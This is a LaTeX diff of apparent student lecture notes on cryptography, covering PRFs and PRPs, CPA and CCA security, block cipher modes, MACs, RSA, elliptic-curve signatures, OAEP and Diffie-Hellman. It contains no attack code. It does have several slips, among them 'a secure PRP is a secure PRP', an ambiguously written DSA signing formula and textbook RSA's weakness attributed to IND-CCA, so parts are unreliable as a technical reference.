+\define{Linear Feedback Shift Register (LFSR)}{$L$ 1-bit memory cells that are shifted into the output. Every step, a feedback function determines what value is shifted in.}
+
+The feedback function can be computed and analysed using matrix multiplication and the connection polynomial.
+
+LFSRs are linear and thus not useful for cryptography. Typically, several LFSRs are combined using a non-linear combining function.
+
+\define{Semantic Security (one-time key)}{
+    For an encryption algorithm $E:K\times M\to C$, pick $b\from_R\{0,1\}$. The adversary chooses $m_0,m_1\in M$ with $|m_0|=|m_1|$ and receives $E(k,m_b)$.
+
+    $$\Adv_{\text{SS}}[A,E]=\left|\Pr[EXP(0)=1]-\Pr[EXP(1)=1]\right|$$
+
+    This should be negligible for all efficient $A$ for $E$ to be semantically secure.
+}
+
+A stream cipher from a secure PRG is semantically secure.
+
+\section{Block Ciphers}
+
+\subsection{Randomness}
+\define{Unpredictability}{When no efficient adversary can predict bit $i+1$ given bits $0\dots i$ with non-negligible probability.}
+
+Randomness is often measured by \emph{statistical tests}.
+
+\define{Advantage of statistical test $A$ against PRG $G:K\to\{0,1\}^n$}{
+    $$\Adv_{\text{PRG}}[A,G]=\left|\Pr_{k\from K}[A(G(k))=1]-\Pr_{r\from_R\{0,1\}^n}[A(r)=1]\right|$$
+}
+
+$G$ is said to be secure iff the advantage of all efficient statistical tests $A$ against it is negligible.
+
+A secure PRG is equivalent to an unpredictable PRG.
+
+\define{Pseudo Random Function (PRF)}{
+    A function $F:K\times X\to Y$ with an efficient algorithm to compute $F(k,x)$.
+}
+
+For a PRF $F:K\times X\to Y$ we define $$\mathrm{Funs}[X,Y]=\{f:X\to Y\}, \quad |\mathrm{Funs}[X,Y]|=|Y|^{|X|},$$ $$S_F=\{F(k,\cdot) \mid k\in K\}, \quad |S_F|=|K|, \quad S_F \subseteq \mathrm{Funs}[X,Y].$$ 
+
+\define{Security of a PRF}{A PRF $F:K\times X\to Y$ is secure iff a random function $f \from_R \mathrm{Funs}[X,Y]$ is indistinguishable from a random function $g\from_R S_F$.}
+
+In the security game, an adversary would (repeatedly) ask the result of the function application of either a function from $S_F$ or one from $\mathrm{Funs}[X,Y]$, depending on $b$, and then guess $b'$.
+
+Given a secure PRF $F:K\times\{0,1\}^n\to\{0,1\}^n$ we can build a secure PRG $G:K\to\{0,1\}^{nt}$ where $G(k)=F(k,0)||F(k,1)||\dots||F(k,t)$.
+
+\define{Pseudo Random Permutation (PRP)}{
+    A function $E:K\times X\to X$ with an efficient algorithm to compute $E(k,x)$ where $E$ has an inverse $D$ that is also efficiently computable.
+
+    Or: a PRF with $X=Y$ where $F$ is efficiently invertible.
+}
+
+For a PRP $E:K\times X\to X$ we define $$\mathrm{Perms}[X]=\{f:X\to X \mid \text{$f$ is a bijection}\},$$ $$S_E=\{E(k,\cdot) \mid k\in K\}, \quad |S_E|=|K|, S_E \subseteq \mathrm{Perms}[X].$$
+
+\define{Security of a PRP}{A PRP $E:K\times X\to X$ is secure iff a random function $f\from_R\mathrm{Perms}[X]$ is indistinguishable from a random function $g\from_R S_E$.}
+
+The security game for PRPs is similar to the one for PRFs.
+
+A secure PRP is a secure PRP as long as $X$ is sufficiently large (e.g. the ciphertext space of a modern cipher as AES-128, $2^{128}$).
+
+\subsection{Chosen Plaintext Attacks}
+
+\define{CPA-Security (many-time key)}{
+    For a cipher $(E,D)$ over $(K,M,C)$, pick $b\from_R\{0,1\}$.
+
+    The adversary receives $c_1=E(k,m_{i,b}$ for $i\in[1,q]$ and $m_{i,0},m_{i,1}\in{M}$ with $|m_{i,0}|=|m_{i,1}|$ and outputs $b'$.
+
+    $$\Adv_{\text{CPA}}[A,E]=|\Pr[EXP(0)=1]-\Pr[EXP(1)=1]|$$
+}
+
+Deterministic ciphers are insecure under CPA (adversary sends $(m,m)$ and $(m,m')$). It can be made secure using randomised encryption or nonce-based encryption (either with a counter, or picked randomly). The CPA model can be extended in the natural way to include nonce-based encryption.
+
+\subsection{Real world block ciphers}
+Typically done using 
+
+\begin{itemize}
+    \item Applying a round function multiple times, usually with a different round key (i.e. there is a round key derivation algorithm needed)
+    \item Substitution-permutation network
+\end{itemize}
+
+\subsubsection{The Feistel structure}
+Divide input in two halves. Put the right halve through a round function with the round key. The new right half is the XOR of the left half with the output of the round function. The left half is the old right half. Repeat this.
+
+\subsubsection{Wide Trail Strategy}
+One bit difference in the plaintext should have massive consequences for the ciphertext. One bit difference in the ciphertext should have massive consequences for the plaintext.
+
+Use a good permutation-substitution network.
+
+\subsection{Modes of operation}
+Wikipedia has nice visualisations; see \url{https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation}.
+
+\define{ECB (Electronic Code Book) Mode}{Simply apply $E$ and $D$.}
+
+\define{CBC (Cipher Block Chaining) Mode}{XOR message block with previous ciphertext block before encrypting. The first block can use an IV, or the encryption of a nonce using a different key.}
+
+CBC-IV with predictable IV is insecure under CPA (sending $m_{1,0}=m_{1,1}=0$ gives $c_1=(IV_1,\pazocal{E}(K,0\oplus IV_1))$; then compute $IV_2$ and ask $m_{2,0}=IV_1\oplus IV_2, m_1\not\in\{0,m_{2,0}\}$. Check if $c_2(IV_2,\pazocal{E}(K,IV_1))=c_1$, in which case $b=0$).
+
+\define{OFB (Output Feedback) Mode}{Iterate $E$ over an IV ($E(E(\dots E(IV)\dots))$), then use that as a stream cipher (i.e. XOR with the message).}
+
+\define{CFB (Cipher Feedback) Mode}{Similar, but compute $E$ over the previous ciphertext (i.e. after XORing with the message).}
+
+\define{CTR (Counter) Mode}{Use a nonce/IV $N$ and a counter to generate a stream with $E(N||0)\;||\;E(N||1)\;||\;\dots\;||\;E(N||q)$, and XOR the message with that stream.}
+
+\section{Integrity}
+
+\begin{itemize}
+    \item Accidental errors (noise)
+        
+        Use CRC or ECC (simple checksums)
+    \item Simple manipulations
+        
+        Use hash functions (doesn't stop active attacker)
+    \item Active attacks (need to prevent an attacker from creating a valid integrity digest on some data)
+        
+        Use MACs (requires origin authentication)
+    \item Repudiation attacks (one cannot deny communication later)
+        
+        Use digital signatures
+\end{itemize}
+
+\subsection{Hash functions}
+\define{Cryptographic hash function}{A function $h:\{0,1\}^*\to\{0,1\}^n$ with the properties
+
+    \begin{description}
+        \item[Collision resistance] It is infeasible to find $m,m'$ with $m\neq m'$ and $h(m)=h(m')$
+        \item[Pre-image resistance] Given $h(m)$, it is infeasible to compute $m$ 
+        \item[Second pre-image resistance] Given $m$ it is infeasible to find $m'\neq m$ with $h(m)=h(m')$
+    \end{description}
+}
+
+From a block cipher one can make a hash function by using CBC mode, a fixed key and a fixed IV, and outputting the last ciphertext block only.
+
+\subsubsection{Merkle-Damg{\aa}rd iterating mode}
+Use a fixed-input-length compression function, and repeatedly feed blocks of input to it, starting with an IV. The hash function inherits properties of the compression function.
+
+\subsubsection{The sponge construction}
+Generalisation of a hash function: XOF.
+
+\define{Extendable Output Function (XOF)}{A function $f:\{0,1\}^*\to \{0,1\}^{nk}$ for all $k\in\mathbb{N}^+$ and some $n\in\mathbb{N}$.}
+
+Using a $b$-bit permutation $f$ with $b=r+c$ ($r$ for rate, $c$ for capacity). $r$ bits of (padded) input are XOR-ed with the previous `outer state', then put through $f$ together with the $c$-bit `inner state'. After full absorption, the $r$-bit outer state may be outputted as many times as you want, while also applying $f$.
+
+This reduces the problem to building a strong permutation.
+
+\subsection{Message Authentication Codes}
+
+\define{MAC}{
+    $I=(S,V)$ over $(K,M,T)$ with
+    \begin{align*}
+        S : K \times M &\to T\\
+        V : K \times M \times T &\to \{\text{``yes''},\text{``no''}\}
+    \end{align*}
+    $$\forall_{k\in{K},m\in{M}}\left[V(k,m,S(k,m)) = \text{``yes''}\right]$$
+}
+
+\define{Chosen message attack \& existential forgery}{
+
+    Existenial forgery, to create a \emph{new} valid message-tag pair $(m,t)$.
+
+    Adversary may send $q$ messages $m_1,\dots,m_q$ to the challenger and receives $t_1,\dots,t_q$ where $t_i=S(k,m_i)$. After this, the adversary has to guess a \emph{new} pair $(m,t)$. The challenger outputs 1 iff $V(k,m,t)=\text{``yes''}$.
+
+    $$\Adv_{\text{MAC}}[A,I] = \Pr[\text{Challenger outputs 1}]$$
+}
+
+A secure PRF $F:K\times X\to Y$ gives a secure MAC with $S(k,m):=F(k,m)$ if $1/|Y|$ is negligible.
+
+\subsubsection{CBC-MAC}
+
+\define{CBC-MAC}{
+    Pad the data. Encrypt using the block cipher of choice in CBC mode. Take the final block of the MAC.
+}
+
+ECBC-MAC uses a second key $k_1\neq k$ to encrypt the last block.
+
+HMAC uses repeatedly feeding blocks from $k||m$ to a hash (slides) or hashing $k||m$ directly.
+
+\subsection{Authenticated Encryption}
+Protection against a CPA attack (\textbf{confidentiality}) and existential unforgeability under a chosen message attack (\textbf{integrity}).
+
+\define{Authenticated Encryption (AE) system}{
+    A pair $(E,D)$ over $(K,M,N,C)$ where
+    \begin{align*}
+        E: K\times M\times N &\to C \\
+        D: K\times C\times N &\to M \cup \{\bot\}
+    \end{align*}
+    that provides semantic security against CPA and ciphertext integrity.
+}
+
+\define{Ciphertext Integrity}{
+    Adversary may send $q$ messages $m_1,\dots,m_q$ to the challenger and receives $c_1,\dots,c_q$ where $c_i=E(k,m_i)$. After this, the adversary has to guess a \emph{new} ciphertext $c$. The challenger outputs 1 iff $D(k,c)\neq\bot$.
+
+    $$\Adv_{\text{CI}}[A,E]=\Pr[\text{Challenger outputs 1}]$$
+}
+
+Encrypt-and-MAC (SSH), MAC-then-Encrypt (SSL), Encrypt-then-MAC (IPsec; this is the best).
+
+\section{Public Key Crypto}
+To resolve key management, distribution and revocation problems with symmetric key crypto.
+
+Typically using a \emph{trapdoor one-way function} (one-way, unless you know the (key to the) trapdoor), e.g. factorisation or discrete log.
+
+\define{Public-key Encryption system}{
+    A triple $(G,E,D)$ over $(PK,SK,M,C)$ where
+    \begin{align*}
+        G &: \dots \to PK \times SK \quad \text{(randomised key generation)}\\
+        E &: PK \times M \to C \quad \text{(randomised encryption)}\\
+        D &: SK \times C \to M \quad \text{(deterministic decryption)}
+    \end{align*}
+    and
+    $$\forall_{pk\in{PK},sk\in{SK},m\in{M}}\left[D(sk,E(pk,m))=m\right].$$
+}
+
+\define{Semantic Security for Randomised PK Encryption (against eavesdropping only)}{
+    Challenger picks $b\from_R\{0,1\}$ and $(pk,sk)\from G$. Adversary receives the public key. She sends $m_0,m_1\in{M}$ with $|m_0|=|m_1|$ and receives $c=E(pk,m_b)$. She then outputs $b'$.
+
+    $$\Adv_{\text{SS}}[A,E]=|\Pr[EXP(0)=1]-\Pr[EXP(1)=1]|$$
+
+    $\Adv_{\text{SS}}[A,E]$ is negligible for all efficient $A$ $\leftrightarrow$ $E$ is secure under IND-CPA (indistinguishable under chosen plaintext attacks).
+}
+
+\define{Discrete logarithm problem}{
+    Let $G$ be a finite group and $g$ one of its generators. Write $G=\{1,g,g^2,\dots,g^{q-1}\}$ where $q=|G|$.
+
+    The problem is to find $x$ from $b=g^x$.
+}
+
+\define{Chosen Ciphertext Attack (CCA) Security}{
+    $\pazocal{E}=(G,E,D)$ over $(M,C)$, $b\from_R\{0,1\}$, $(pk,sk)\from G$.
+
+    Adversary receives $pk$.
+
+    Phase 1: adversary receives $m_i=D(k,c_i)$ for $c_i\in\{c_0,\dots,c_q\}$.
+
+    Adversary receives $c=E(pk,m_b)$ after sending $m_0,m_1\in{M}$, $|m_0|=|m_1|$.
+
+    Phase 2: adversary receives $m_i=D(k,c_i)$ for $c_i\in\{c_0,\dots,c_q\}$ and $c_i\neq c$.
+
+    Adversary outputs $b'$.
+
+    $$\Adv_{\text{CCA}}[A,\pazocal{E}]=|\Pr[EXP(0)=1]-\Pr[EXP(1)=1]|$$
+
+    $\pazocal{E}$ is semantically secure under IND-CCA if for all efficient $A$ $\Adv_{\text{CCA}}[A,\pazocal{E}]$ negligible is.
+}
+
+\subsection{RSA}
+
+\define{RSA}{
+    \begin{enumerate}
+        \item Choose primes $p,q$
+        \item Take $N=pq$, recall $\phi(N)=(p-1)(q-1)$
+        \item Pick $e$ co-prime to $\phi(N)$
+        \item Let $pk=(N,e)$, $sk=(N,d)$ where $ed\equiv1\pmod{\phi(N)}$
+    \end{enumerate}
+    
+    Then $E((N,e),m)=m^e\pmod{N}$ and $D((N,d),c)=c^d\pmod{N}$. Typically done using square-and-multiply.
+
+    Problem: to recover $x$ from $C=x^e\pmod{N}$.
+}
+
+Textbook RSA is insecure because it is deterministic (not secure under IND-CCA), and changes to ciphertexts are predictable. In practice, padding is used (e.g. OAEP, section \ref{sec:oaep}).
+
+There exist side-channel attacks against RSA when square-and-multiply is implemented in the natural way; power consumption reveals location of the ones in the key.
+
+\subsection{Elliptic Curve Cryptography (ECC)}
+
+Much smaller keylengths than RSA (and no exponential growth when technology advances).
+
+\begin{itemize}
+    \item ECC protocol, built on
+    \item Point/Div. multiplication, built on
+    \item Group operations, built on
+    \item Finite field arithmetic
+\end{itemize}
+
+\define{Elliptic Curve}{
+    $\pazocal{E}$ over $GF(p)$ is an equation of the form $$y^2=x^3+ax+b$$ where $4a^3+27b^2\neq0$, $a,b\in GF(p)$.
+}
+
+\define{Point on an Elliptic Curve $\pazocal{E}$}{
+    An $P=(x,y)$ with $x,y\in GF(p)$ that satisfies $\pazocal{E}$.
+
+    The order of $P$ is the smallest $m$ s.t. $mP=O$. %todo what is O??? (lect12-slide5)
+}
+
+\define{Addition on an elliptic curve}{
+    For $P=(x_1,y_1)$ and $Q=(x_2,y_2)$ we can calculate $P+Q=R=(x_3,y_3)$ with
+    \begin{align*}
+        x_3 &= \lambda^2 - x_1 - x_2\\
+        y_3 &= \lambda(x_1 - x_3) - y_1
+    \end{align*}
+    where $\lambda$ is the slope of the line through $P$ and $Q$ (or the tangent of $\pazocal{E}$ on $P$ when $P=Q$), i.e.
+    $$\lambda = 
+    \begin{cases}
+        \frac{y_2-y_1}{x_2-x_1} &\text{if $P\neq Q$}\\
+        \frac{3x_1^2+a}{2y_1} &\text{if $P=Q$}
+    \end{cases}$$
+}
+
+Scalar multiplication can be done using double-and-add, similar to square-and-multiply.
+
+\define{EC Key Pair generation}{
+    Domain parameters: 
+    
+    \begin{itemize}
+        \item $GF(p)$, a finite field
+        \item $\pazocal{E}(GF(p))$, an elliptic curve over $GF(p)$
+        \item $G\in\pazocal{E}(GF(p))$, a generator in $\pazocal{E}$
+    \end{itemize}
+
+    Algorithm:
+
+    \begin{enumerate}
+        \item Select $d\from_R[1,n-1]$
+        \item Compute $Q=dG$
+        \item Take $Q$ as public key and $d$ as private key
+    \end{enumerate}
+}
+
+\define{Diffie-Hellman in ECC setting}{
+    Use $d_A,d_B$ as privates and $Q_A=d_AG,Q_B=d_BG$ as publics. Both sides can compute $d_Ad_BG$.
+}
+
+\subsection{Digital Signatures}
+
+\define{Digital Signature}{
+    A crypto primitive that provides
+
+    \begin{itemize}
+        \item Data origin authentication of the signer
+        \item Non-repudiation
+    \end{itemize}
+
+    Typically a pair $(S,V)$ for \emph{signing} and \emph{verification}.
+}
+
+Should be \emph{easy to sign}, \emph{easy to verify}, \emph{hard to forge}. Should prevent \emph{modification attacks} and \emph{existential forgery}.
+
+\subsubsection{With RSA}
+$S(m)=h^d(m)\pmod{N}$ where $h$ is a hash function. 
+
+$V(m,s)$ checks if $s^e\bmod{N}=h(m)$.
+
+\subsubsection{Digital Signature Algorithm (DSA)}
+For a message $m$, compute a hash $h=H(m)$.
+
+\define{DSA Signing}{
+    \begin{enumerate}
+        \item Choose $k\from_R(0,q)$
+        \item Compute $r=g^k\bmod{p}\pmod{q}$
+        \item Compute $s=h+rx/k\bmod{q}$
+        \item Output $(r,s)$
+    \end{enumerate}
+}
+
+\define{DSA Verification}{
+    \begin{enumerate}
+        \item Compute $a=h/s\pmod{q}$
+        \item Compute $b=r/s\pmod{q}$
+        \item Compute $v=g^ay^b\bmod{p}\pmod{q}$
+        \item Accept iff $v=r$
+    \end{enumerate}
+}
+
+\subsubsection{With ECC}
+Consider a message $m$ with hash $e=\mathrm{SHA-1}(m)$ and a public key $Q=dP$ with private key $d$.
+
+\define{ECC Signing}{
+    \begin{enumerate}
+        \item Choose $k\from_R[1,n-1]$
+        \item Compute $kP=(x_1,y_1)$ and $r=x_1$, both $\bmod n$
+        \item Compute $k^{-1}\bmod n$
+        \item Compute $s=k^{-1}(e+dr)\bmod n$
+        \item Output $(r,s)$
+    \end{enumerate}
+}
+
+\define{ECC Verification}{
+    \begin{enumerate}
+        \item Verify $r,s\in[1,n-1]$
+        \item Compute $w=s^{-1}\bmod n$
+        \item Compute $u_1=ew\bmod n$ and $u_2=rw\bmod n$
+        \item Compute $u_1P+u_2Q=(x_1,y_1)$ and $v=x_1\bmod n$
+        \item Accept iff $v=r$
+    \end{enumerate}
+}
+
+\subsection{Optimised Asymmetric Encryption Padding (OAEP)}
+\label{sec:oaep}
+
+Using two hash functions $G$ and $H$.
+
+\define{OAEP}{
+    \begin{enumerate}
+        \item Pad message $m$ by appending \texttt{01} and zeros, yielding $m'$
+        \item Pick a random $r$
+        \item Compute $X=G(r)\oplus m'$
+        \item Compute $Y=r\oplus H(X)$
+        \item Encrypt $X||Y$, e.g. with RSA
+    \end{enumerate}
+}
+
+\subsection{Diffie-Hellman key exchange}
+Protocol for two clients to agree on a shared secret over an unsecure channel.
+
+\define{Diffie-Hellman key exchange}{
+    Alice picks $a\from_R G$; Bob picks $b\from_R G$.
+    \begin{align*}
+        A \to B &: g^a \bmod p\\
+        B \to A &: g^b \bmod p
+    \end{align*}
+    Both can compute $(g^a)^b=g^{ab}=(g^b)^a$.
+}
+
+How to do this with three parties in one round? With two additive groups $G_1,G_2$ and a bilinear pairing $\phi:G_1\times G_2\to G_T$.
+
+\define{Bilinear Pairing}{
+    A mapping $\phi:G_1\times G_2\to G_T$ such that $\phi$ is
+    \begin{itemize}
+        \item Bilinear: $$\forall_{P\in G_1,Q\in G_2}\left[\phi(aP,bQ)=\phi(P,Q)^{ab}\right]$$
+        \item Non-degenerate: $$\exists_{P\in G_1,Q\in G_2}\left[\phi(P,Q)\neq1\right]$$
+        \item Computable efficiently
+    \end{itemize}
+}
+
+One-round tripartite Diffie-Hellman with domain parameter $P$ and secrets $a,b,c$ can now be done by sending $aP,bP,cP$, such that every party can compute $\phi(P,P)^{abc}$. It relies on it being hard to compute $\phi(P,P)^{abc}$ given $P,aP,bP,cP$.
+
+\end{document}